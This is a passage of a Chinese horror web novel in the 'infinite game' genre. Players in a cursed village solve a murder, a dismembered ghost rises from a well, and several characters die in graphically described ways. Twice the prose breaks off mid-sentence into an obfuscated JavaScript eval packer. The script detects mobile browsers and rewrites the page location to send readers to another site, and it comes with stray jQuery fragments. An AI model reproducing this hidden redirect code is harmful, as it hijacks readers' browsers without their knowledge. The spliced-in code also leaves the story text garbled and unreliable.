霍张本来想一起，但老葛媳妇这个不定时炸弹在，梁琼不敢轻易休息。易礼昨晚是睡了整觉，他们可没有。现在一停下来身体就沉得厉害。 …… 老葛出事的荒院在村子南边吊索桥的附近。 黄冥村是一条横贯山谷的长条形村庄。右侧有一个悬崖，悬崖两边隔着一道吊索桥。不过村里人很少过去，吊索桥早就荒废了。易礼一路走，一路都在打听。最终到了老葛昨晚在的地方——一个破败的空屋。跟黄宝家离得很近，前后十几步路的距离。 这屋子应该荒废至少十几年，门和窗都朽化了。院子里长满了草，还有不少蛞蝓之类的虫子在草上爬来爬去。易礼小心地推开院子门走了进去。 这地上，明显有脚踩过的痕迹。 易礼顺着脚印进了屋子，里面更破败。 地上碎瓦和已经干巴的塑料盆碎片插/进泥土里，除了脚印，易礼拨开草丛，在角落的墙壁上看见了早已干涸成固体痕迹的血迹。因为有特殊遮挡，倒是保存得很明显。 易礼蹲在地上摸索，随意拨弄地上的旧易拉罐，竟然发现了一根手指骨头。 早已烂的不成样子，但骨节清晰。根据易礼浅薄的常识，这种腐烂程度，至少半个月以上。不过考虑到极端天气，湿润的环境会加速腐烂，也有可能两周时间。比对了下，小拇指的指头。易礼对比了自己的手指，这个人要么年纪不大，要么跟她一样是小个子。 “老葛媳妇的戒指，该不会是从这些手指上撸下来的吧？” 易礼不负责任的猜测着，继续在地上翻找。看能不能找到更多的线索。 这时候，天空突然闪过一道闪电，惊雷骤响。 易礼感觉身后有什么东西一闪而过，顿时抽刀，刷地站起身。 雷声阵阵，雨越下越大。雾气逐渐迷蒙了视线，院子里的荒草也被风吹得刷刷作响。环视四周，什么也没有。但易礼没放松警惕，她这人向来直觉很准，刚才绝对有东西靠近了她。 胸腔的一颗心脏咚咚，咚咚，由慢加快，剧烈地跳动起来。 空气不知不觉凝视了，温度也骤降。一种直觉的危险袭上神经末梢，汗毛根根竖起。易礼脚尖继续翻找，眼睛却眼观四方。她观察非常快，目光扫视而过—— 下一瞬，扫过窗户的视线立即回来。只见荒废小院的窗户外面，站着一个朝她诡异微笑的人影。那张脸易礼今天上午刚见过，是老葛媳妇。 ‘她’机械地拉扯着自己的嘴角，眼睛却怒目圆睁，用一种充满恶意的眼神死死盯着易礼。 而此时此刻，易礼背后的墙上，正在缓慢地出现了一张狰狞的人脸。 那张脸像湿润的血迹画上去，正扭曲地蠕动着，一点一点，企图从墙壁里钻出来。它的嘴无声地一张一合，企图向易礼身后凑过去。 易礼呼吸瞬间停滞，大脑一瞬间空白。 那东西却不靠近，就这么诡笑着与她对视。在易礼背后的人脸越来越贴近易礼的时候，嘴角的笑容也越来越大。就在那人脸贴到易礼的侧脸，她敏锐地觉察，挥起柴刀就劈了过去。 空气中忽然传出一声尖啸，惊悚得摄人心魄。 “嚯！这刀还挺强？！” 易礼迅速转身，惊喜地看着自己随手捡来的柴刀。看样子，也是一件副本道具！ 不等易礼高兴，快要倒塌的那面墙壁上忽然多了一个血手印。 悄无声息，易礼眼角余光瞥见，惊出一身冷汗。她慢慢走过去，想检查一下。却发现，血手印在她眼皮子底下涌现出更多。一个又一个，一个又一个，像有什么看不见的东西正在她附近，狞笑地看着她，一个一个血红的，印血手印。 血手印复制的速度越来越快，像是那东西着急了，追赶着要掐到易礼的脖子似的，眨眼的瞬间就要盖满墙壁。往她的脚所在位置蔓延…… 该死的！ 易礼心脏在这一瞬间仿佛被捏住，她迅速回头看向窗户，此时‘老葛媳妇’已经不见了。而头顶的天花板上，有一张相似的脸正朝着她在缓缓下坠。 她眼珠乱转。屏住呼吸观察四周。 无声的压迫感越来越强，易礼知道不能再待下去，得走了。 她一边往后退，手中握刀，突然抬手砍了一刀。无形中有什么东西发出惨叫。易礼也管不了那么多，拔腿就跑。黄冥村这个鬼地方，真不是人呆的地方！ 一边跑一边快速地挥舞着砍柴刀，就在易礼身体离开小院的瞬间，追着血易礼的手印停止了。它似乎不甘心，往外蔓延了一些，但很快就会被冰冷的雨水冲散。 阴风阵阵，易礼被退站在门外，一身的冷汗。 刚才那是什么？ 那个手指骨头，一看就是女性。会是黄玲花吗？如果黄玲花死在这个院子，那水井里到底还有没有东西？有的话，又会是谁？ 谜团越来越多，思路也被混淆了。 易礼看向不远处的黄宝家，这院子里黄宝家可真近啊……眼中闪过一丝狠辣。如果不是怕黄宝死了会变成鬼回来报复，她不介意跟这些NPC好好讲一讲道理。 看来，不解开水井之谜不行了。 不过，要怎么避开危险，解开水井之谜呢…… 易礼本想去招待所找霍张梁琼商量。 可她刚走到吊桥边，就发现了两个不速之客。 王慧和张成龙估计是脑子秀逗了。此时，两人正在养猪场附近的槐树下。远远的隔着雾气，易礼看到两人在撬水井上的石头。 该死的！ 这两个成事不足败事有余的蠢货！没点手段就这么莽吗！ 易礼心里一紧，立马冲下去。 可还没等到她靠近，就看到堵在水井上的石头来回晃了两下，然后，从井口骨碌碌地滚落了下去。 易礼：！！！ 10. 第十章 石头咕噜噜地滚落到一旁的草丛，四周的温度，毫无预兆地降下来了。 一股浓厚的腐臭味自井口飘出，肉眼可见的灰色雾气弥散开来。本就阴冷潮湿的黄冥村后山此刻变得阴寒刺骨，那种寒意带着刺骨的凶戾，近乎恐怖，仿佛尖锐的指甲刺进肌理，丝丝缕缕地渗透进骨髓。 紧接着，井口传来尖锐刺耳的抓挠声，仿佛有什么东西拿指甲抓着瓷砖发出的那种声音，一下，一下，又一下……从慢到快，越来越快。 易礼感受到一股强烈的被注视的感觉。 她盯着井口边已经瑟瑟发抖的张成龙和王慧，一步一步地后退。然后，拔腿就跑。 最糟糕的情况发生了。 易礼额头的冷汗一点点沁出，她跑的飞快，使出吃奶的力气在泥泞的村中小路狂奔。然而眼角余光还是瞥见井口伸出了一只苍白却沾满血迹的手。 手指纤细，指甲鲜红。每按一下都留下一个鲜红的血手印……那只惨白的手一点一点往井口外摸索，先是胳膊，然后鲜血淋漓的上半身，肠子拖拽的腹部……直至从里面爬出了一个支离破碎的女人。 头就剩一层皮，吊挂在后胸。断裂的脖子处析出的颈椎骨头。四肢早被砍得乱七八糟，胳膊随意地拼接，左手少了一根手指头。随着她以扭曲的姿态暴露在井外，那口沉寂的水井井壁开始不断地往外渗血，很快染红了青苔。 这一刻，易礼第一次感觉到一股寒意爬上自己的后脖颈，浑身的骨肉止不住地战栗。这种被扼住喉咙的窒息感觉让她瞬间明白——这个副本真正危险的时刻到来了。 啊啊啊啊啊啊……死腿！快跑啊！！ 大雨越下越大，哗啦啦的雨水仿佛倾倒的盆正往下灌。可即便这么大的雨，也冲刷不掉鲜红的血手印。很快，身后传来女子尖锐的惨叫，夹杂着少年惊怕的嘶吼，摄魂夺魄。 易礼不敢回头，一口气冲回招待所。 大雨已经成了瀑布，砸在地上能砸的泥水四溅。天空在短短十几分钟内黑沉下来。 山头那边的天空中乌云如浓墨，其中紫色的闪电如囚枝炸开。轰隆隆的雷声，仿佛世界末日。不过现在的情况跟世界末日也差不离。都是死期将至。 “怎么回事！发生了什么事？为什么天突然就黑了？” 霍张等人此时已经睡醒了。他们在房间内看到外面的天突然黑下来，大雨跟洪涝似的铺天盖地，此时都十分害怕。霍张几次确定时间，此时确实是下午三点半。 “连四点都没到，天却黑得像是晚上。” “怎么会这样！” “平安日提前结束，连多搜集线索的时间都要截断，这副本里难不成还藏着什么秘密吗！” 梁琼脱口而出的抱怨，却没注意到一旁霍张闻言脸色微变。易礼注意到霍张的表情，眼神快速闪过什么。梁琼像个被关进笼子的困兽，抓着头发在房间里走来走去。霍张表情也是前所未有的凝重。目光不断地穿透黑雾，往后山的方向望去。 原计划黑夜到来之前上后山，现在计划泡汤。 “易礼，你刚从那边过来，有没有发现其他的线索。” 易礼下半身都雨水淋湿了。她正拿毛巾擦干，语速飞快地交代：“王慧和张家成跑去了后山养猪场，他们俩刚才把井上的石头给撬开了！” 赵青迅速关上门，虽然知道这种木质门板根本起不到多少作用，但聊胜于无。 “什么？他俩不是最胆小吗？怎么突然这么疯！？” “不知道。我没过去问，看情况不对，立即就跑了。” 易礼摇头，“井里爬出来一个被碎尸的女人，大概率就是咱们要找的黄玲花。黄玲花确实是死了，咱们先前推测的没有错，大概率是黄家四兄弟杀死的。” 其实在去荒院之前，易礼先去找了村委主任。 那主任看到易礼的时候，似乎料到了她们会来问。没隐瞒，很快就交代了黄家兄弟作案的经过。毕竟村子就这么大，谁家发生点事，左邻右舍都能听见点风声。村子里之所以一直隐瞒不报，是怕了这黄家四兄弟。现如今黄家最有钱的老大死了，这个口子一松，很多事就很好说出来。 “黄家四兄弟全都撒谎了。黄家寡母是腊月三十死的，死在老二和老三的门前。” “等等！”梁琼忽然说：“你说的详细点。” 她一愣：“任务要求吗？” 旁边霍张和赵青没说话，但显然，是的。 于是易礼组织了语言，就详细描述其经过：“黄家寡母不是被遗弃那么简单。关于黄家寡母的养老问题，黄家兄弟之间有一个约定。这个约定有村长和村委共同见证。四兄弟要轮流照顾寡母，一人家住满一年，正月初一轮换。去年正好是黄家老二照顾。不过因为老大自从办了养猪场，就总拿封闭式管理说事，不履行照顾母亲的义务。后头三兄弟就觉得不公平了，学老大也开始赖。村里看四兄弟踢皮球，都不管，才给黄家寡母在后山盖了一个茅草屋。” “……那茅草屋竟然是村子里给盖的？！” 赵青觉得不可思议。这是亲生母亲吧？怎么可以做到这么心狠！ “嗯。”易礼继续道：“一开始，黄家四兄弟还偶尔会给老太太送点吃的。后来就慢慢忘了寡母一个人在后山住着。去年冬天是黄冥村偶遇十年难得一见的寒冬。黄家老太太又冷又饿，实在受不了，就在大年三十那天晚上去了老二家，问老二要口吃的。老二嫌屋外头冷，不乐意起来，就没给开门，叫她去隔壁老三家要。结果老三也没开门。说还没轮到他管，叫她去老二家要。” “兄弟俩推诿，谁都不给开门。老太太就这么站在老二和老三家门口的槐树下饿死了。” 易礼说的很平淡，但话语中的冲击力是巨大的：“咱们看到黄家兄弟身上的冻伤，也跟黄家老太有关。据村委主任说，黄老太死的时候，身上的肉都被冻烂了，瘦成一小把。” “那黄玲花因为发现了这事儿，告黄家四兄弟故意谋杀。不过法院传票才传到村里，黄家四兄弟就找各种借口要黄玲花回来，说是要调解。” “他们故意把黄玲花骗回村，就是为了杀她？” “我猜测是的。” 易礼将湿毛巾扔到一边：“听村委说，四兄弟找律师咨询过。知道一旦上法庭，对四兄弟很不好。老二黄鹏，老三黄志，百分百是死刑，老大黄毅和老小黄宝，情况好，是无期徒刑。情况不好，也是一样的死刑。我估计四兄弟因为害怕，对黄玲花起了杀心。” “黄玲花应该是中秋那天中午死的，死在黄宝家附近那个荒院中，被碎尸了。只不过刚好赶上大雨，雨水冲刷了血迹和血腥气。没人发现而已。” 说着，易礼又将在荒废院子里遭遇的一切说出来。 到了现在，易礼已经基本弄清楚村子异常的真相：“水井里的尸块拼接物是黄玲花，荒院的碎肉血迹也是黄玲花。大雨跟黄玲花有关。我看得很清楚。那黄玲花一出井口，大雨就哗啦啦下来了。虽然很仓促，但我确信井壁上看到的手印跟在荒院墙上看到的是一样的。手印畸形，很好认。” 被砍下来丢在荒院的手指，应该是因为畸形太特殊，所以才单独处理。 “跟村委主任确认过，黄玲花左手有六根手指头。” 随着易礼的话说完，房间内鸦雀无声。 “不过一只鬼怎么会有两种出现两种杀人模式？这情况算特殊吗？” “副本中，也有鬼怪有好几种能力。”霍张嗓音暗哑，脸色是难得的苍白：“但这种拥有两套杀人机制的大鬼，遇到了，基本没活路。” 话音一落，窗外电闪雷鸣，屋内的气氛压抑得每一个人都脸色惨白。 “天啊！”梁琼暴躁的狂抓头发。就算是老手，此时也冷静不了。梁琼纤细的身体不自觉地颤抖着：“如果你说的一切都是真的，咱们这个本还能过吗！” “过不了，我们死定了！”赵青也慌。 一阵死寂后。 “……支线任务算完成了吗？”易礼坐在床边，看向霍张梁琼等人。 她的长相跟她的行事风格完全不成正比，谁敢相信，这么多内容就凭她一个人出去不到四小时搞到手的。况且，易礼还是个连系统都没开的纯新人。 霍张张了张嘴，没说话。旁边赵青就没那么多讲究了。 他立即打开了他的主控系统，查看起任务进度。虽然说任务不是他亲自去查的，但游戏系统对调查真相类的任务判定非常宽泛，只要他了解事情真相就算调查清楚。 看清进度，绝望的脸上忽地闪过一丝惊喜。 赵青惊喜道：“找到黄玲花的支线任务状态：已完成。黄冥村的真相支线任务完成度状态：已完成80%！有积分进账了！” 易礼眼底闪过一丝幽光，他们果然没有对她完全说实话。 因为易礼慷慨地与他们分享，在场三人的支线任务进度同时发生变化。 毫无戒心的赵青已经完全信任易礼。赵青不觉得易礼会害他，她要是想害他，昨晚直接不管他就行了。何必处心积虑？此时不仅说出了支线任务的完成度，还当她的面，演示了一把用积分兑换了修复药剂的过程。东西出现在他手中的时候，易礼的眼神都在发光。 赵青大大咧咧的拔了瓶塞就将一瓶修复药剂喝下去，他的状态立马恢复到了巅峰时刻。 霍张和梁琼原本还想等下副本以后再兑换，毕竟易礼身上的疑点还是太多了。哪怕她从头到尾表现得都很积极，但这里是副本，任何时候小心点准没错。可被赵青这么一搞，他们藏不藏都显得没那么重要了。 “积分只够兑换一瓶……”赵青有点尴尬看着易礼。 按理说，这都是易礼的功劳，他应该给人应该有的报酬才对。但他的积分很拮据，兑的东西只够自己用。 “嗯，我不用。”易礼点点头。 霍张没说话，沉默地坐到墙角，借绷带恢复伤势。 他的绷带明显也是系统商品，之前赵青没演示之前，易礼还没发现绷带的异常。此时看霍张的腹部，那么大的伤口，竟然已经结痂。 “老葛媳妇呢？” 下午他们休息的时候，已经被异化的老葛媳妇就绑着扔在房间里。此时好像没看到。 “我给弄到隔壁屋里了。” 梁琼不允许一个定时炸弹离自己这么近，尤其是休息的时候。 不过听说易礼在荒院遇到了假的‘老葛媳妇’，立即也意识到严重性。几人立即开了隔壁屋的门，确认老葛媳妇还在不在。 门一推开，看见的场景，足够空气凝固。 老葛媳妇此时整个人都已经异化成扭曲的模样，翻过去的腿长合到了一起，仿佛腿骨和脚骨被肉碎了似的，下肢只剩下柔软的血肉。地上黄色的粘液更多了，整个房间充斥着一股浓烈的刺鼻的气味。她的两只眼球脱离了眼眶，黑洞洞的眼眶里生长出鲜红 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16673767|188643||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的血管…… “啊——” 梁琼发出一声尖叫，指着老葛媳妇身上已经融化的草绳：“草绳解开了！” “她现在这个样子……还是不是人？！”赵青腿肚子打颤，站在门口不敢进去。 老葛媳妇却仿佛失去神志一般，麻木地盯着窗外。 很快，她像是确定了什么，嘴角的笑容越扯越大，越来越怨毒诡异。空气中的温度越降越低，仿佛有一只看不见的手，不断地抽取空气中的热量。 只十几秒钟的时间，屋内的几人都齐齐打了冷颤。 “怎么回事？突然降温了？” 一股阴寒的感觉顺着后背爬上了后脖颈，易礼顺着她的视看。就在窗外的玻璃上，看到了一张同样诡笑的脸。是‘它’！那个在荒院窗外站着的‘老葛媳妇’！！ “不好！镜子！” 他们下午关老葛媳妇的时候，忘了将这个房间里的镜子一起收拾掉。 霍张也看到了，梁琼速度也很快，叫上其他人，迅速搜寻房间里的镜子。 可他们速度再快，窗外的东西还是成功进入了房间。 那张诡异微笑的脸，不断地从镜面涌出来。一张接一张，密密麻麻，看得人头皮发麻。笑脸在挣扎的过程中扭曲变形，看似很艰难漫长，实则一瞬间就挣脱出了镜子。伸出来的手也在不断地变形，变长。尖细得像削尖的树枝一样，迅速向着靠镜子最近的梁琼抓来。 站在门边的赵青和易礼，一瞬间反应过来，打开门就往外冲。 梁琼离镜子非常近，在这一瞬间就被抓住了脖子。 她喉咙发出一声怪叫，反手一折叠刀刺向鬼手。然而这东西根本不受伤害，折叠刀仿佛刺中空气，鬼手却在一瞬间刺穿了梁琼的脖子。 鲜血喷溅，染红了镜面。 “梁琼！” 霍张伸手去抓梁琼的手臂，企图把她拽回来，另一只手同时连开了几枪。 但很显然，枪同样没用，子弹全部打空。 冷汗在一瞬间喷簿而出，而在与鬼怪对视的一瞬间，他的身体像是被施了定身咒，根本动不了了。额头的冷汗迅速蔓延了全身，死亡的威胁在这一瞬间袭向大脑。 下了四个副本，霍张一直以为自己能继续活下去。却没想到，走到这里就要结束了。 霍张心脏咚咚咚咚地狂跳，瞳孔剧烈地颤抖。僵硬的肢体仿佛陷入了无边的泥沼，用尽全身力气拔也拔不动。只能眼睁睁地看着那只诡异的笑脸不断地变化，脸上的肌肉像橡皮泥一样软塌重塑，慢慢浮现出自己的五官。而在镜鬼的五官逐渐清晰的同时，霍张身体里的能量就像是被什么东西给吸走了一样，他甚至听见了骨头碎裂的声音…… 仿佛有无数只蚂蟥在啃噬他的骨头和内脏，他感觉浑身上下仿佛要被揉碎成渣，要将他敲骨磨碎。起初还能咬牙忍受，可随着恐怖的疼痛加剧，他最终惨叫起来。 难道，真的要死在这？ 刚才要是兑换道具，挡下致命一击就好了。 就在霍张的神志逐渐模糊，原本冲出去的易礼不知何时又回来了。举着那把沾血的柴刀，一刀砍在了正在捏脸的镜鬼脸上。 镜鬼发出一声惨叫，易礼抓住突然恢复神志的霍张冲向门口。 “赵青！带上梁姐！” 赵青也跟回来了，被易礼叫了一声，大脑没反应过来身体就先行动。 他一把抓住地上软趴趴的梁琼，跟着易礼一起冲出屋子。 等四人消失在屋内，新脸被毁的镜鬼又变回了老葛媳妇的模样。消瘦苍老的脸上闪过怨毒的恨色，死死盯着洞开的大门。 很快，身体虚化，又没入了镜中。 易礼拖着霍张，赵青背着梁琼。两人争先恐后地冲回房间，猛地一把将门关上。 大汗瞬间汗湿衣服，两人腿软地摊在了地上。 这个房间之前就被清理过，没有镜子。 易礼喘着粗气，放下脸色惨白身体不能动的霍张。 休息了几秒，立即去检查屋子的门窗。确认门窗都关好，才返回来看不断流血的梁琼。梁琼的脖子被刺穿了，她喉咙里大股大股地往外涌血。 人还没死，但找不到医院，很快也会玩完。 “我的……背包……” 梁琼还努力地挣扎，她还没死：“拿……唔……喂我………” 易礼是看到过赵青和恢复药剂的，很快找到了用矿泉水瓶装的恢复药剂。 拧开后，直接往她嘴里灌。 恢复药剂刚灌下去，梁琼就昏迷了。 霍张躺在地上大口大口的喘息，情况也不容乐观。 易礼将梁琼放到了床上，正琢磨要不要将隔壁地下道美人鱼似的老葛媳妇也给捞出来，窗户的玻璃上闪过微笑的鬼脸。那东西不甘又怨恨，森寒地锁定了多管闲事的易礼。 易礼走过去，一把拉下窗帘，挡住了这张脸。 同一时间，走廊上传出凌乱的脚步声。 王慧的尖叫从院子里一直蔓延到招待所内部，她像是疯了一般，尖叫着拍打每一个房间的门。不断地拧动门把手，试图打开房间门，躲进去。 “开门啊赵青！救命啊！！救救我！！！！” “霍警官！梁姐姐！” “求你们救救我！我知道你们在招待所！开门让我进去，求求你们了！” 赵青三步并作两步，一把锁上了房间的门。 11. 第十一章 赵青锁上门还不行，又将旁边的茶几推过来，堵住了门口。 易礼看着，没有阻止他。 这时候圣母是没用的，王慧小心思太多，不听指挥还喜欢背后阴人。放她进来，就目前他们团队她加两残一废的配置，指不定一个不小心就会被她给献祭了。否则去养猪场的有两人，身强体壮的张成龙怎么没回来，回来的是她？ 易礼可不相信张成龙有舍己为人的高尚情操，毕竟上午在后厨，他窜的是最快的。 当然，这不是最根本的原因。 根本原因是，易礼发现自己兜里那个符咒一直在发烫。 从她拿到符咒起，遇到过好几次鬼怪，这东西都没有出现过反应。这是第一次出现了强烈的反应，突然就发烫，隔着两层布料都快要把易礼的皮肤给烫起泡来。易礼迅速反应过来，看向门外，死死盯着门缝处不断滴答的水坑阴影。 想到这只符咒出现的场景，以及这几天遭遇的事，易礼很快就有了答案。 发生这种情况，只有两个比较可能的解释：要么这符咒会在密闭空间内起作用，可有效阻止鬼怪闯入。要么，这符咒针对特定的鬼怪起作用，比如被黄毅等人杀死的黄玲花。 不过，易礼更倾向于第一种。 总之，不能开门。 王慧在外面疯狂的拍打，她其实不记得几人的房间号，只能凭感觉找位置。可不管拍打哪个房间，都没有人开门。冷汗浸湿了衣服，冰冷的空气仿佛一瞬间跨越到冬天。每呼吸一下，吐出的水汽都要在空气中凝结成冰。她的四肢也逐渐僵硬，但根本不敢停。 身后那个鬼东西一直不远不近地跟着她，她快要被逼疯了！ “快开门啊！求求你们了……” “滴答，滴答。” 水滴声迫近，夹杂着拖沓的脚步声。 “滴答。” “滴答。” “趿踏，趿踏……” 猩红粘稠的液体从天花板落下，滴落到王慧白皙纤细的胳膊上。 王慧僵直在原地，拍打门的手也在一瞬间停滞。 她的瞳孔剧烈的颤动着，脸色苍白如血。她不敢回头，也不敢抬头看头顶，只缓缓低下头看向自己的手臂。浓稠鲜红的液体正顺着皮肤肌理低落到地上，滴答一声，绽开了一朵血色的水花。在确定滴在身上的液体是血液后，她喉咙发出一声惊天动地的惨叫。 “啊啊啊啊啊啊啊——” “鬼！鬼——” 紧接着，催命的拍打着易礼房间的门，拍不开就改成拧。 王慧在外面疯狂地拧门把手，力气大得恨不得将门把手给直接拽下来。一边拧一边撞门，此时哀求也变成了声嘶力竭的威胁：“赵青，易礼，我知道你们在里面！别装不在，快开门！我听见里面有声音了！你们都躲在你们对不对？快开门，不然我死了也不会放过你们——” 早知道那个水井里藏着这么恐怖的东西，打死她也不会去撬石头的！ 都怪那个易礼，要不是他们说水井里面极有可能藏着黄玲花，她根本不会冒险完成支线任务！心里的恶意不断地上涌，比起怪谁害她，她能活下来才是最主要的。 王慧的眼泪夺眶而出，不停尖叫：“我可以把我所有的道具都给你们，求你们救我！” “滴答，滴答——” 鲜血滴落的越来越多，王慧脚下这一圈已经形成一个鲜红的血水坑。 她拧门把手的手上逐渐浮现出裂痕，像是被什么东西砍了一般，一道又一道狰狞可怕的裂痕浮现在她的胳膊，脖子，大腿，以及脸上。尖锐到砍碎骨头，割开血肉的的疼痛席卷全身，正在一寸一寸地碾碎她的筋膜和骨血，撕裂她的皮肤肌理，切断她的血管…… 疼得她疯狂尖叫，再也支撑不住，倒在地上不停地翻滚。 “好疼啊，我的胳膊，我的手，我的脖子……断了！断了！” “好疼……好疼……啊——” 她喉咙里发出的喊叫逐渐变形，变成毛骨悚然的诡异嘶吼……直至喉咙发出赫赫的声响，最后根本发不出声音。那股尖利到刺耳的惨叫盘旋在整个走廊，久久不散。 …… 赵青脸色煞白，失去血色的嘴唇哆嗦着，一脸茫然惊恐地与易礼对视。 隔壁一直不停砸墙的老葛媳妇都没了动静，那一直低沉但持续不断的“咚咚，咚咚”的撞墙声，在这一刻也仿佛被按下暂停键。空气寂静得仿佛喘息都会被无限放大。 黑暗笼罩整个房间，冰冷的空气从门缝和窗户的缝隙渗透进来，一点点侵蚀皮肤，带走热量。 易礼坐在窗边的小木凳上，手里正握着那把沾血的柴刀。 两人对视许久，易礼抬起一根手指头竖在唇边，摇了摇头。虽然没有亲眼看见王慧的惨状，但听声音，就仿佛目睹了一场残忍至极的活体分尸。 …… 许久，滴答，滴答的水声依旧没有平静，一直滴答了一整夜。 昏暗的房间，两人甚至没敢点灯。 呼吸声压得很低，尽量降低自身的存在感。昏迷的霍张和梁琼都没醒，易礼跟赵青都打起精神，竖着耳朵听着外面的风吹草动。 这个夜晚无比的漫长，无穷一样等待。直到天亮，走廊上滴答滴答的水声才消失。易礼眨了眨干涩的眼睛，感受到清晨的一丝光透过窗户照进屋内，绷紧的神经才终于下来。 “天亮了。”赵青的精神快崩溃了，极度的恐惧让他极近失声：“它走了吗？” 易礼也不知道，不过，她怀里的那个符咒不热了。 将符咒从兜里拿出来借着窗外的微光仔细查看，易礼发现，原本折成六边形的完整咒纸此时被烧了一个角。其他部分还是好的，想到梁琼说过，副本道具都有使用寿命。她这个符咒，此时算是直接报废？还是依旧有用，但坚持不了多久了？ 易礼的眉头蹙起。 旁边赵青看过来，小小的惊呼了一声：“易礼姐，这符咒怎么烧了一个角？啊，昨晚那个？” “嗯。”易礼将东西又塞回口袋，站起身：“开门吧，那东西应该已经走了。” 赵青想说你怎么知道。但看易礼笃定的样子，还是把话吞回肚子里。 他走过去，门打开了，王慧的尸体就横在房门口。 “啊——” 赵青看到尸体惨状，喉咙里发出一声尖叫，迅速把门又关上。 “门口，门口！全是尸块！” 易礼奇怪地看他一眼：“都是碎尸块不是很正常？” 赵青这才想起来，王慧遭遇的是黄玲花。顿时脸色发青，喉咙发紧。他腿肚子发软地扶着墙壁，始终无法接受这个残忍的死状，嘴里不住地往外漫酸水：“好，好恶心……” 霍张是这时候醒来的艰难地从地上起身：“怎么了？” 霍张醒了，真是个好消息。 赵青脸色发白地冲到霍张的身边，立即将昨晚的情况详细说给霍张听。 霍张看向门外，易礼将关上的门又打开了。 她低头看着地上碎成一块一块的王慧。她的惨状，就像是当初黄玲花的复刻。 脑袋被砍下来，连着一层皮吊挂在后胸，颈椎骨析出。腹部的肠子扯了一地，手脚全部被斩断，连手指头也被剁得一节一节的……鲜血染红了整个地板，流不尽，汪在不规则平面的水泥地板上。粘稠又腥气的味道弥漫整个空间，让人闻了就不禁想吐。 话都没说完，赵青又捂着胸口趴在地上不停地干呕。 脆弱的高中生经历了这么多，还是无法接受同班同学死的这么惨。他一边干呕一边哭，眼泪忽然就开了闸。易礼跨过碎尸望向走廊的深处，招待所的大门昨夜没关，一直是开着的。 大雨已经停了，但浓雾却没有散去。阴沉沉的天，让门外的一切都蒙上阴翳。 走廊的地板上全是泥巴脚印，应该是王慧留下的。天花板上恢复了老旧的白水泥墙，但门把手上还残留着干涸的血迹。易礼无视了赵青惊恐的眼神里蹲下身去，伸手在碎尸中摸索起来。 “易礼，呕，你干嘛……” 易礼不搭理他，搜罗的速度快且冷静。 王慧的头已经断了，脖子上挂的那个石头项链被甩到一边，早就粉碎。这玩意儿只能在没有正面撞鬼的时候起作用，一旦正面与鬼怪交锋，屁用没有。 找了半天，除了几个看起来就很累赘的小道具，没找到易礼想要的东西。 人死了，那东西就会不见吗？ 还是说没消散，只是她看不见？ 不可能，应该不至于。 最后，易礼也只是拿走了王慧掉出来的这双眼珠子。 血淋淋的眼珠子装进兜里，易礼径自走向隔壁，开了门。 一股浓郁到窒息的刺激性味道扑鼻而来。易礼下意识地捂着鼻子，睁开眼就被眼前的情况给惊呆了。 昨晚离开时还算正常的房间，此时已经被粘液覆盖。那黄褐色果冻状的恶心粘液从天花板渗透到墙壁里，再从墙壁滴落到房间内每一处角落。黏不拉几的拉着丝，易礼握着的门把手才发现手指滑溜溜的。狠甩了几下手，甩掉粘液，易礼才看清蜷缩在角落里的老葛媳妇。 此时的她，已经完全不像人类了。 下肢彻底蜕化城蛞蝓状，张开的嘴里面也长出了无数尖锐细密的牙齿。她那两只脱眶的眼睛已经从垂落状态转为竖起，像蛞蝓脑袋上竖起的两根天线。眼珠完全暴露在空气中，眼球后方的血管此时还在轻微地翕动。 易礼额头和手心一瞬间渗出汗水，变得濡湿。 “易礼……” 她张开嘴，但声音却不像喉咙发出来的，更像一种精神污染。 “易礼……易礼……你来找我吗？” 不得不说，易礼被这种鬼畜的东西给恶心到了，沉默了。天不怕地不怕的易礼也有恶心的东西，那就是软体虫。带粘液的那种最恶心。 不过现在才第三天，后面几天只会更难熬。 易礼基本已经确定了自己跟玩家们不一样。她实在好奇系统到底是个什么玩意儿，被选中的玩家又是怎么查看系统的。仿佛一个意念的转换，想要的东西就出现在手中。而且她问过赵青，系统在他没下副本之前就出现在他脑海，他的眼睛可以看到系统商城。 所以，那东西是在脑子里么？还是说藏在身上的某个器官中？比如说眼球？亦或者，更玄幻一点，寄存在玩家的灵魂之中？ 能通过视网膜成像，至少需要实际的组织器官支持吧？ 她更偏向于系统那种东西是寄存在玩家的肉/体之中的。毕竟玩家死后，尸体会被回收这一点就很值得怀疑。 刚才她偷偷收了王慧的眼球，死的不一定有。那活的呢？ 老葛媳妇这幅样子已经出不去副本了。她的系统也用不上，不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16673768|188643||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如给别人，比如自己。而且，老葛媳妇是活的，虽然异化了，但她的主控系统应该还没关机吧？ 盯着老葛媳妇的脑袋，易礼试图用肉眼从老葛媳妇那双黑洞洞的眼眶看进她的脑子。 这几天，她在搜集线索和逃命的同时，也在思考一个问题。 一个不被选择却误闯进副本的人，到底能不能拿走别人的系统并完全地使用它？当然，使用系统在其次，最重要的，还是她需要借系统离开这里。毕竟，谁也不能保证，没有系统印记的她会在副本结束以后跟大家一起上大巴车。 保险起见，她至少拿走一个系统藏身上。 老葛媳妇就很合适。 “易礼，你在干嘛呢？”霍张撑着墙壁，突然叫住靠近老葛媳妇的易礼。 “哦，我在看她的眼球。” 易礼收回视线，转头看向站在门口的霍张和赵青。 